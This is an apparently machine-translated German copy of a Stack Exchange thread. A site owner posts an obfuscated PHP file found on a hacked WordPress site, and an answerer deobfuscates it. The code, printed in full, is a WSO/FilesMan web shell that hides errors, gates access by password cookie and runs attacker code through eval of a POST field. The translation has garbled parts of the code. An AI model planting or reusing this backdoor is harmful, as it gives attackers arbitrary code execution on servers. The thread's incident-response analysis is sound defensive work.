Frage:
WordPress gehackt, verdächtige Datei gefunden
Dimitar Yordanov
2015-11-06 21:47:43 UTC
view on stackexchange narkive permalink

Grundsätzlich wurde eine Website, die ich betreibe, im Januar gehackt und eine ganze Reihe von Spam-Mails verschickt. Der Datenverkehr ging über das Dach, sodass die Hosting-Firma die Website damals deaktivierte, aber das wurde nicht gut kommuniziert. Ich beschäftige mich jetzt damit.

Heute habe ich die Dateien der Website durchgesehen und eine Datei festgestellt, die ungefähr 5 Stunden erstellt wurde, bevor ich vom Hosting-Unternehmen eine Warnung über das Spammen meiner Webseite erhielt. Der Pfad der Datei lautet www / root / rss.lib.php und der Inhalt:

  "<? php $ {" \ x47LOB \ x41 \ x4c \ x53 "} [" \ x76 \ x72vw \ x65y \ x70 \ x7an \ x69 \ x70 \ x75 "] =" a "; $ { "\ x47 \ x4cOBAL \ x53"} ["\ x67 \ x72 \ x69u \ x65 \ x66 \ x62 \ x64 \ x71c"] = "\ x61 \ x75 \ x74h \ x5fpas \ x73"; $ {"\ x47 \ x4cOBAL \ x53 "} [" \ x63 \ x74xv \ x74 \ x6f \ x6f \ x6bn \ x6dju "] =" \ x76 "; $ {" \ x47 \ x4cO \ x42A \ x4cS "} [" p \ x69 \ x6fykc \ x65 \ x61 "] =" def \ x61ul \ x74 \ x5fu \ x73 \ x65_ \ x61j \ x61 \ x78 "; $ {" \ x47 \ x4c \ x4f \ x42 \ x41 \ x4c \ x53 "} [" i \ x77i \ " x72 \ x6d \ x78l \ x71tv \ x79p "] =" defa \ x75 \ x6c \ x74 \ x5f \ x61 \ x63t \ x69 \ x6f \ x6e "; $ {" \ x47L \ x4fB \ x41 \ x4cS "} [" \ x64 \ x77e \ x6d \ x62 \ x6a \ x63 "] =" \ x63 \ x6fl \ x6f \ x72 "; $ {$ {" \ x47 \ x4c \ x4f \ x42 \ x41LS "} [" \ x64 \ x77 \ x65 \ x6dbj \ x63 "]} =" \ x23d \ x665 "; $ {$ {" \ x47L \ x4fB \ x41 \ x4c \ x53 "} [" \ x69 \ x77 \ x69rm \ x78 \ x6c \ x71 \ x74 \ x76 \ x79p "]} =" \ x46i \ x6cesM \ x61n "; $ oboikuury =" \ x64e \ x66a \ x75 \ x6ct \ x5fc \ x68 \ x61 \ x72 \ x73 \ x65t "; $ {$ {" \ x47L \ x4f \ x42 \ x41 \ x4cS "} [" p \ x69oy \ x6bc \ x65 \ x61 "]} = true; $ {$ oboikuury} =" \ x57indow \ x73-1 \ x325 \ x31 "; @ ini_set (" \ x65r \ x72o \ x72_ \ x6cog ", NULL); @ ini_set (" l \ x6fg_er \ x72ors ", 0); @ ini_set (" max_ex \ x65 \ x63 \ x75 \ x74 \ x69o \ x6e \ x5f \ x74im \ x65 ", 0); @ set_time_limit ( 0); @ set_magic_quotes_runtime (0); @ define ("WS \ x4f \ x5fVE \ x52S \ x49ON", "\ x32.5 \ x2e1"); if (get_magic_quotes_gpc ()) {function WSOstripslashes ($ array) {$ { "\ x47 \ x4c \ x4f \ x42A \ x4c \ x53"} ["\ x7a \ x64 \ x69z \ x62 \ x73 \ x75e \ x66a"] = "\ x61 \ x72r \ x61 \ x79"; $ cfnrvu = "\ x61r \ x72a \ x79 "; $ {" GLOB \ x41L \ x53 "} [" \ x6b \ x63 \ x6ct \ x6c \ x70 \ x64 \ x73 "] =" a \ x72 \ x72 \ x61 \ x79 "; return is_array ($ {$ {"\ x47 \ x4cO \ x42 \ x41 \ x4c \ x53"} ["\ x7ad \ x69 \ x7ab \ x73 \ x75e \ x66 \ x61"]})? array_map ("\ x57SOst \ x72 \ x69 \ x70 \ x73 \ x6c \ x61 \ x73 \ x68 \ x65s ", $ {$ {" \ x47 \ x4cO \ x42 \ x41LS "} [" \ x6b \ x63 \ x6c \ x74l \ x70 \ x64 \ x73 "]} ): Stripslashes ($ {$ cfnrvu});} $ _ POST = WSOstripslashes ($ _ POST); $ _ COOKIE = WSOstripslashes ($ _ COOKIE);} Funktion wsoLogin () {Header ("\ x48 \ x54TP / 1. \ x30 \ x204 \ x30 \ x34 \ x20 \ x4eo \ x74 \ x46ound "); die (" 4 \ x304 ");} Funktion WSOsetcookie ($ k, $ v) {$ {" \ x47 \ x4cO \ x42ALS "} [" \ x67vf \ x6c \ x78m \ x74 "] =" \ x6b "; $ cjtmrt =" \ x76 "; $ _ COOKIE [$ {$ {" G \ x4c \ x4f \ x42 \ x41LS "} [" \ x67 \ x76 \ x66 \ x6cxm \ x74 "]}] = $ {$ {" GLO \ x42 \ x41 \ x4cS "} [" \ x63 \ x74 \ x78 \ x76t \ x6f \ x6fknm \ x6a \ x75 "]}; $ raogrsixpi =" \ x6b "; setcookie ($ {$ raogrsixpi}, $ {$ cjtmrt} );} $ qyvsdolpq = "a \ x75 \ x74 \ x68 \ x5f \ x70 \ x61s \ x73"; if (! leer ($ {$ qyvsdolpq})) {$ rhavvlolc = "au \ x74h_ \ x70a \ x73 \ x73 "; $ ssfmrro =" a \ x75t \ x68 \ x5fpa \ x73 \ x73 "; if (isset ($ _ POST [" p \ x61ss "]) && (md5 ($ _ POST [" pa \ x73 \ x73 "]) = = $ {$ ssfmrro})) WSOsetcookie (md5 ($ _ SERVER ["H \ x54 \ x54P_ \ x48 \ x4f \ x53T"]), $ {$ {"\ x47L \ x4f \ x42 \ x41 \ x4c \ x53"} ["\ x67 \ x72 \ x69 \ x75e \ x66b \ x64 \ x71 \ x63"]}; if (! isset ($ _ COOKIE [md5 ($ _ SERVER ["\ x48T \ x54 \ x50 \ x5f \ x48O \ x53 \) x54 "])]) || ($ _ COOKIE [md5 ($ _ SERVER [" H \ x54 \ x54 \ x50_H \ x4fST "])! = $ {$ rhavvlolc})) wsoLogin ();} function actionRC () { if (! @ $ _ POST ["p \ x31"]) {$ ugtfpiyrum = "a"; $ {$ {"\ x47 \ x4c \ x4fB \ x41LS"} ["\ x76r \ x76w \ x65 \ x79 \ x70z \ x6eipu "]} = array (" \ x75n \ x61m \ x65 "= >php_uname ()," p \ x68 \ x70 \ x5fver \ x73 \ x69o \ x6e "= >phpversion ()," \ x77s \ x6f_v \ x65 \ x72si \ x6f \ x6e "= >WSO_VERSION," saf \ x65m \ x6f \ x64e "= > @ ini_get (" \ x73 \ x61 \ x66 \ x65 \ x5fm \ x6fd \ x65 "); echo serialize ($ {$ ugtfpiyrum}); } else {eval ($ _ POST ["\ x70 \ x31"]);}} if (leer ($ _ POST ["\ x61"])) {$ {"\ x47L \ x4fB \ x41LS"} ["\ x69s \ x76 \ x65 \ x78 \ x79 "] =" \ x64 \ x65 \ x66 \ x61 \ x75 \ x6ct \ x5f \ x61c \ x74i \ x6f \ x6e "; $ {" \ x47 \ x4c \ x4f \ x42 \ x41 \ x4c \ x53 "} [ "\ x75 \ x6f \ x65c \ x68 \ x79 \ x6d \ x7ad \ x64 \ x64"] = "\ x64 \ x65 \ x66a \ x75 \ x6c \ x74_ \ x61 \ x63 \ x74 \ x69 \ x6fn"; if (isset ($ {$ {"\ x47L \ x4f \ x42 \ x41LS"} ["\ x69 \ x77ir \ x6d \ x78lqtv \ x79 \ x70"]}) &&function_exists ("\ x61ct \ x69 \ x6f \ x6e". $ {$ {"\ x47L \ x4f \ x42 \ x41 \ x4cS"} ["\ x75o \ x65ch \ x79 \ x6d \ x7a \ x64 \ x64 \ x64"]}) $ _ POST ["a"] = $ {$ {" \ x47 \ x4c \ x4f \ x42ALS "} [" i \ x73 \ x76e \ x78 \ x79 "]}; sonst $ _POST [" a "] =" \ x53e \ x63 \ x49 \ x6e \ x66o ";} if ( ! leer ($ _ POST ["\ x61"]) &&function_exists ("actio \ x6e". $ _ POST ["\ x61"])) call_user_func ("\ x61 \ x63 \ x74 \ x69 \ x6f \ x6e". $ _ POST [ "a"]); exit;
? >  

Mein erster Gedanke war, die Datei zu löschen und sicherzustellen, dass mein Passwort sicher ist, aber ich bin ziemlich neu in diesem Bereich, daher wären Ratschläge willkommen.

Ist Ihre WP-Installation auf dem neuesten Stand?
Es gibt einen WordPress-Codex-Artikel darüber, was zu tun ist, wenn Ihre WordPress-Website gehackt wurde. Lies es
@haseeb, Könnten wir bitte einen Link zu diesem Artikel bekommen?
https://codex.wordpress.org/FAQ_My_site_was_hacked
Suchen und installieren Sie zusätzlich zu allem, was andere erwähnen, ein Plugin namens WordFence. Es ist ein aktives Sicherheitsmodul und sehr gut darin, Ihre WP-Site sicher zu halten.
Zwei antworten:
Mark Buffalo
2015-11-06 22:19:28 UTC
view on stackexchange narkive permalink

Ich habe den Code für Sie deobfusciert, der mit Ascii Escapes codiert wird:

  <? php $ GLOBALS ["vrvweypznipu"] = "a"; $ GLOBALS ["griuefbdqc"] = "auth_pass"; $ GLOBALS ["ctxvtooknmju"] = "v"; $ GLOBALS ["pioykcea"] = "default_use_ajax"; $ GLOBALS ["iwirmxlqtvyp"] = "default_action"; $ GLOBALS ["dwembjc"] = "color"; $ GLOBALS ["dwembjc"] = "# df5"; $ GLOBALS ["iwirmxlqtvyp"] = "FilesMan"; $ oboikuury = "default_charset"; $ GLOBALS ["pioykcea"] = true; $ oboikuury = "Windows-1251"; @ini_set ("error_log", NULL); @ini_set ("log_errors", 0); @ini_set ("max_execution_time", 0); @set_time_limit (0); @set_magic_quotes_runtime (0); @define ("WSO_VERSION", "2.5.1"); if (get_magic_quotes_gpc ()) {Funktion WSOstripslashes ($ array) {$ GLOBALS ["zdizbsuefa"] = "array"; $ cfnrvu = "Array"; $ GLOBALS ["kcltlpds"] = "array"; return is_array ($ GLOBALS ["zdizbsuefa"])? array_map ("WSOstripslashes", $ GLOBALS ["kcltlpds"]): stripslashes ($ cfnrvu); } $ _POST = WSOstripslashes ($ _ POST); $ _COOKIE = WSOstripslashes ($ _ COOKIE); } function wsoLogin () {header ("HTTP / 1.0 404 nicht gefunden"); sterben ("404"); } function WSOsetcookie ($ k, $ v) {$ GLOBALS ["gvflxmt"] = "k"; $ cjtmrt = "v"; $ COOKIE [$ GLOBALS ["gvflxmt"]] = $ {$ GLOBALS ["ctxvtooknmju"]}; $ raogrsixpi = "k"; setcookie ($ raogrsixpi, $ cjtmrt); } $ qyvsdolpq = "auth_pass"; if (! empty ($ qyvsdolpq)) {$ rhavvlolc = "authpass"; $ ssfmrro = "auth_pass"; if (isset ($ _ POST ["pass"]) && (md5 ($ _ POST ["pass"]) == $ ssfmrro)) {WSOsetcookie (md5 ($ SERVER ["HTTPHOST"]), $ GLOBALS ["griuefbdqc" ]); }}
if (! isset ($ _ COOKIE [md5 ($ _ SERVER ["HTTP_HOST"])]) || ($ _ COOKIE [md5 ($ _ SERVER ["HTTP_HOST"])]! = $ rhavvlolc)) {wsoLogin (); }} function actionRC () {if (! @ $ _ POST ["p1"]) {$ ugtfpiyrum = "a"; $ GLOBALS ["vrvweypznipu"] = array ("uname" = >php_uname (), "php_version" = >phpversion (), "wso_version" = >WSO_VERSION, "safemode" = > @ ini_get) Echo serialize ($ ugtfpiyrum); } else {eval ($ _ POST ["p1"]); }} if (leer ($ POST ["a"])) {$ GLOBALS ["isvexy"] = "default_action"; $ GLOBALS ["uoechymzddd"] = "defaultaction"; if (isset ($ GLOBALS ["iwirmxlqtvyp"]) && function_exists ("action". $ GLOBALS ["uoechymzddd"])) {$ _POST ["a"] = $ GLOBALS ["isvexy"]; sonst {$ _POST ["a"] = "SecInfo"; }}} if (! empty ($ _ POST ["a"]) &&function_exists ("action". $ _ POST ["a"])) {call_user_func ("action". $ _ POST ["a"]); }    Ausfahrt; >  

Wie Sie sehen, wird Ihre Fehlerprotokollierung ausgeschaltet und Sie können keine Fehler protokollieren die max_execution_time bis 0 . Nach diesen Einstellungen zu urteilen, scheint es so, als würde versucht, Sie daran zu hindern, herauszufinden, ob ein Fehler vorliegt, und weitere Informationen darüber zu erhalten, was in den Protokolldateien vor sich geht.

Die Variable max_execution_time kann zusammen mit set_time_limit (0) verwendet werden, damit das Skript unbegrenzt ausgeführt werden kann. Dies dient im Allgemeinen dazu, die Ausführung großer SQL-Abfragen zu ermöglichen.

Was macht es sonst noch?

Mit dieser Zeile hier:

    • eval ($ _ POST ["p1"]); ( deobfuscated )
    • eval ($ _ POST [" \ x70 \ x31 "]); ( verschleiert )

    ... es ermöglicht dem Angreifer, jede Art von PHP-Code auszuführen Sie möchten auf Ihrem System. Zu diesem Zeitpunkt sind Sie völlig unsicher und sollten davon ausgehen, dass auf Ihrem Server alles gefährdet ist.

    Die Zeile eval () wird verwendet, um eine beliebige Hintertür für die Codeausführung in Ihre Webseiten zu erstellen. Diese Zeile ermöglicht es ihnen, POST Folgendes zu tun: yourpage.php? P1 = execute_dangerous_code_here , was ziemlich gefährlich ist. Der gesamte Code basiert darauf, sich selbst zu verstecken. Wenn Sie die Variable p1 nicht senden, sucht sie nach der PHP-Version usw. und legt sie in $ GLOBALS ["vrvweypznipu"] ab, sodass sie (vermutlich) bei der Suche nach anderen Exploits helfen kann . Wenn Sie es veröffentlichen, wird der Code ausgeführt und normal fortgesetzt.

    Nun, dies könnte ziemlich fehleranfällig sein - Sie versuchen, Ihren beliebigen Code zum Laufen zu bringen - es sei denn, Sie haben ihn zuvor getestet, aber Sie werden nicht informiert, ob ein Fehler vorliegt, da es sich um handelt Deaktivierte Protokollierung und Fehler .

    Ich empfehle dringend, mit einer Neuinstallation aus dem Orbit zu fahren. Stellen Sie eine Sicherungskopie aller Ihrer WordPress-Dateien wieder her. Wenn Sie keine Backups haben und sich auf das verlassen müssen, was Sie auf dem Server haben, müssen Sie diese selbst bereinigen.

    Wenn Sie wissen, wie man codiert, suchen Sie in Ihren PHP-Dateien nach etwas, das enthält Diese Zeichenfolge: " eval ($ ") (oder sogar " eval (")). Sie müssen die Dateien zum Bearbeiten öffnen, um sicherzustellen, dass sie legitim sind. Wenn nicht, entfernen Sie alle Dateien, die es enthalten. Wenn Sie jemals verschleierten Code wie diesen sehen, nehmen Sie an, dass es sich um einen Hack handelt. Es gibt so gut wie keinen Grund, jemals so zu codieren. Kein legitimer Dienst sollte dies jemals tun.

sehen aus wie ein berühmter Exploit: https://www.reddit.com/r/webdev/comments/2lgtsb/php_wordpress_exploit_code_what_does_it_do/ und http://malwarecode.blogspot.fr/2013/02/filesman-backdoor-script.html finden viel mehr auf google
Bearbeiten Sie nun den Code und verwenden Sie ihn, um ihre IP-Adressen zu sammeln und Ihre Waffen auf sie abzufeuern. \ * * verblassen mit widerhallendem bösen Lachen * \ *
@MacK, Das ist eigentlich eine ziemlich gute Idee ... schön!
WoJ
2015-11-06 21:58:01 UTC
view on stackexchange narkive permalink

Wenn Sie, wie Sie bereits erwähnt haben, "ziemlich neu in diesem Bereich" sind, können Sie die Auswirkungen des Hacks nicht sicher entfernen.

Neustart von Grund auf neu: neuer Server, neue WordPress-Installation und Beibehaltung das alles auf dem neuesten Stand. Sie können Text / Bilder / Videodaten zurück importieren. Es gibt viele Ressourcen zum Härten eines Servers sowie WordPress.

Wie @MarkHulkalo erwähnt, können Sie immer ein behalten offline kopieren und damit Forensik lernen, um möglicherweise zu verstehen, wie der Hack passiert ist.

Ich bin nicht der Meinung, dass er von vorne anfangen sollte, zumindest sollte er nicht einfach aus dem Orbit ausbrechen, ohne die infizierten Dateien zu speichern. Dies ist eine gute Gelegenheit, sich wirklich damit zu beschäftigen und ein besseres Verständnis zu erlangen. Wenn er für immer "ganz neu darin" bleibt, wird er keinen Nutzen daraus ziehen. Er wird nur ein weiterer "Nuke from Orbit" -Typ sein.
Man kann immer nebenbei mit einer Offline-Kopie spielen, um Forensik zu lernen. Es wird einige Zeit dauern. Wenn er seinen Blog wieder in Produktion bringen will, muss er von vorne anfangen.
Einverstanden. Ich habe meinen Kommentar bearbeitet, um dies widerzuspiegeln.
@MarkHulkalo: Ich habe auch meine Antwort mit Ihrem Vorschlag aktualisiert.
Ich danke Ihnen beiden für Ihre Eingabe. Ich werde wahrscheinlich versuchen, alles von Grund auf neu einzurichten, da ich nicht derjenige war, der es überhaupt getan hat, und "ziemlich neu in diesem Bereich" zu sein, bedeutet im Grunde, dass ich es nicht getan habe etwas. Der Versuch, das Problem zu beheben, klingt nicht nach der besten Entscheidung, wenn ich noch nie mit dieser Art von Code und Software gearbeitet habe.
@DimitarYordanov, Ich habe meinen Beitrag aktualisiert, damit Sie besser verstehen, was los ist. Ich hoffe, es hilft.
Danke, Mark, es hilft sehr. Wie ich bereits mehrfach erwähnt habe, ist dies meine erste Erfahrung mit dieser Art der Codierung, daher fühle ich mich oft verloren, zumal das erste, was ich tun muss, nicht nur eine Übung ist, sondern ein tatsächliches Hacking-Problem. Ich werde mich aber verbessern! Vielen Dank an alle, die sich dem Gespräch angeschlossen haben!
@DimitarYordanov Stellen Sie sicher, dass alle Dateien unter Versionskontrolle stehen. Das nervt immer noch, die Datenbank zu bereinigen oder von einem veralteten Backup wiederherzustellen, aber es ist immer noch ein Kopfschmerz weniger.


Diese Fragen und Antworten wurden automatisch aus der englischen Sprache übersetzt.Der ursprüngliche Inhalt ist auf stackexchange verfügbar. Wir danken ihm für die cc by-sa 3.0-Lizenz, unter der er vertrieben wird.
Loading...